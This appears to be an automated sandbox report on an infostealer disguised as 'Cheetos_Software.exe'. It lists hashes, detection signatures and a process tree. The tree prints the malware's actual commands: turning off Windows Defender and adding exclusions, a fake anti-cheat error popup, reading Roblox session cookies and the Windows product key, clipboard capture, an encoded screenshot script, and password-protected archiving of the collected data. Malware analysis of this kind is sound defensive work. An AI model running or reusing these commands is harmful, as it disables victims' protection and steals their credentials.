Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-04-2024 20:08

General

  • Target

    Cheetos_Software.exe

  • Size

    7.4MB

  • MD5

    621451f7c4c3be3ffa015e011d02a8c0

  • SHA1

    ecf6c848f7cb4444945d255e0d7dd52b8f77bccd

  • SHA256

    d8b6347bd3c847455f6befbe29d412cfe44054fe9893d81a3adc32c64d9e2251

  • SHA512

    73593e5820f4da948330944ddb260f232fbfe8a7cc657f6b8c085b2894c0f1cc5db51d2b9f90f47cd449e5a5d130e648b73c4cec43edfccd173eda883e8adb8d

  • SSDEEP

    196608:6A8PjLjv+bhqNVoB0SEsucQZ41JBbIP11tJm:f8P3L+9qz80SJHQK1Jy1vJm

Score
8/10

Malware Config

Signatures

  • Drops file in Drivers directory 3 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • UPX packed file 54 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates processes with tasklist 1 TTPs 4 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Cheetos_Software.exe
    "C:\Users\Admin\AppData\Local\Temp\Cheetos_Software.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3484
    • C:\Users\Admin\AppData\Local\Temp\Cheetos_Software.exe
      "C:\Users\Admin\AppData\Local\Temp\Cheetos_Software.exe"
      2⤵
      • Drops file in Drivers directory
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2000
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Cheetos_Software.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2760
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Cheetos_Software.exe'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:956
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3476
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3748
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('External software found (Error code 0x100000675)', 0, 'Easy Anti Cheat', 0+16);close()""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3136
        • C:\Windows\system32\mshta.exe
          mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('External software found (Error code 0x100000675)', 0, 'Easy Anti Cheat', 0+16);close()"
          4⤵
            PID:2080
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\    ‎.scr'"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4248
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\    ‎.scr'
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4856
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4136
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:3300
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2528
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:3640
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:720
          • C:\Windows\System32\Wbem\WMIC.exe
            WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1292
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4928
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Get-Clipboard
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3404
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2288
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:4088
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tree /A /F"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3292
          • C:\Windows\system32\tree.com
            tree /A /F
            4⤵
              PID:3212
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "systeminfo"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:5116
            • C:\Windows\system32\systeminfo.exe
              systeminfo
              4⤵
              • Gathers system information
              PID:5064
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1488
            • C:\Windows\system32\reg.exe
              REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
              4⤵
                PID:5100
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2572
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                4⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4260
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pkckntpt\pkckntpt.cmdline"
                  5⤵
                    PID:5068
                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES43A0.tmp" "c:\Users\Admin\AppData\Local\Temp\pkckntpt\CSCEE286FF59FEA47D09589A43890A1D67D.TMP"
                      6⤵
                        PID:1032
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3508
                  • C:\Windows\system32\tree.com
                    tree /A /F
                    4⤵
                      PID:1100
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3648
                    • C:\Windows\system32\attrib.exe
                      attrib -r C:\Windows\System32\drivers\etc\hosts
                      4⤵
                      • Drops file in Drivers directory
                      • Views/modifies file attributes
                      PID:1248
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
                    3⤵
                      PID:3492
                      • C:\Windows\system32\attrib.exe
                        attrib +r C:\Windows\System32\drivers\etc\hosts
                        4⤵
                        • Drops file in Drivers directory
                        • Views/modifies file attributes
                        PID:1292
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                      3⤵
                        PID:4880
                        • C:\Windows\system32\tree.com
                          tree /A /F
                          4⤵
                            PID:720
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                          3⤵
                            PID:1112
                            • C:\Windows\system32\tasklist.exe
                              tasklist /FO LIST
                              4⤵
                              • Enumerates processes with tasklist
                              • Suspicious use of AdjustPrivilegeToken
                              PID:2828
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "tree /A /F"
                            3⤵
                              PID:4780
                              • C:\Windows\system32\tree.com
                                tree /A /F
                                4⤵
                                  PID:3716
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c "tree /A /F"
                                3⤵
                                  PID:932
                                  • C:\Windows\system32\tree.com
                                    tree /A /F
                                    4⤵
                                      PID:3096
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                                    3⤵
                                      PID:4920
                                      • C:\Windows\system32\tree.com
                                        tree /A /F
                                        4⤵
                                          PID:2936
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                        3⤵
                                          PID:1748
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                            4⤵
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:3096
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                          3⤵
                                            PID:4596
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                              4⤵
                                              • Suspicious behavior: EnumeratesProcesses
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:4352
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c "getmac"
                                            3⤵
                                              PID:3700
                                              • C:\Windows\system32\getmac.exe
                                                getmac
                                                4⤵
                                                  PID:2260
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI34842\rar.exe a -r -hp"Zachattack091010!" "C:\Users\Admin\AppData\Local\Temp\TpyFv.zip" *"
                                                3⤵
                                                  PID:2320
                                                  • C:\Users\Admin\AppData\Local\Temp\_MEI34842\rar.exe
                                                    C:\Users\Admin\AppData\Local\Temp\_MEI34842\rar.exe a -r -hp"Zachattack091010!" "C:\Users\Admin\AppData\Local\Temp\TpyFv.zip" *
                                                    4⤵
                                                    • Executes dropped EXE
                                                    PID:3480
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                  3⤵
                                                    PID:4364
                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                      wmic os get Caption
                                                      4⤵
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:3856
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                    3⤵
                                                      PID:1256
                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                        wmic computersystem get totalphysicalmemory
                                                        4⤵
                                                          PID:632
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                        3⤵
                                                          PID:4892
                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                            wmic csproduct get uuid
                                                            4⤵
                                                              PID:1268
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                            3⤵
                                                              PID:1032
                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                                4⤵
                                                                • Suspicious behavior: EnumeratesProcesses
                                                                PID:436
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                              3⤵
                                                                PID:1920
                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                  wmic path win32_VideoController get name
                                                                  4⤵
                                                                  • Detects videocard installed
                                                                  PID:1432
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                                3⤵
                                                                  PID:444
                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                                    4⤵
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    PID:5100
                                                            • C:\Windows\system32\DllHost.exe
                                                              C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                              1⤵
                                                                PID:5064
                                                              • C:\Windows\system32\taskmgr.exe
                                                                "C:\Windows\system32\taskmgr.exe" /7
                                                                1⤵
                                                                • Checks SCSI registry key(s)
                                                                • Suspicious behavior: EnumeratesProcesses
                                                                • Suspicious behavior: GetForegroundWindowSpam
                                                                • Suspicious use of FindShellTrayWindow
                                                                • Suspicious use of SendNotifyMessage
                                                                PID:3916

                                                              Network

                                                              MITRE ATT&CK Enterprise v15

                                                              Replay Monitor

                                                              Loading Replay Monitor...

                                                              Downloads

                                                              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                Filesize

                                                                2KB

                                                                MD5

                                                                d85ba6ff808d9e5444a4b369f5bc2730

                                                                SHA1

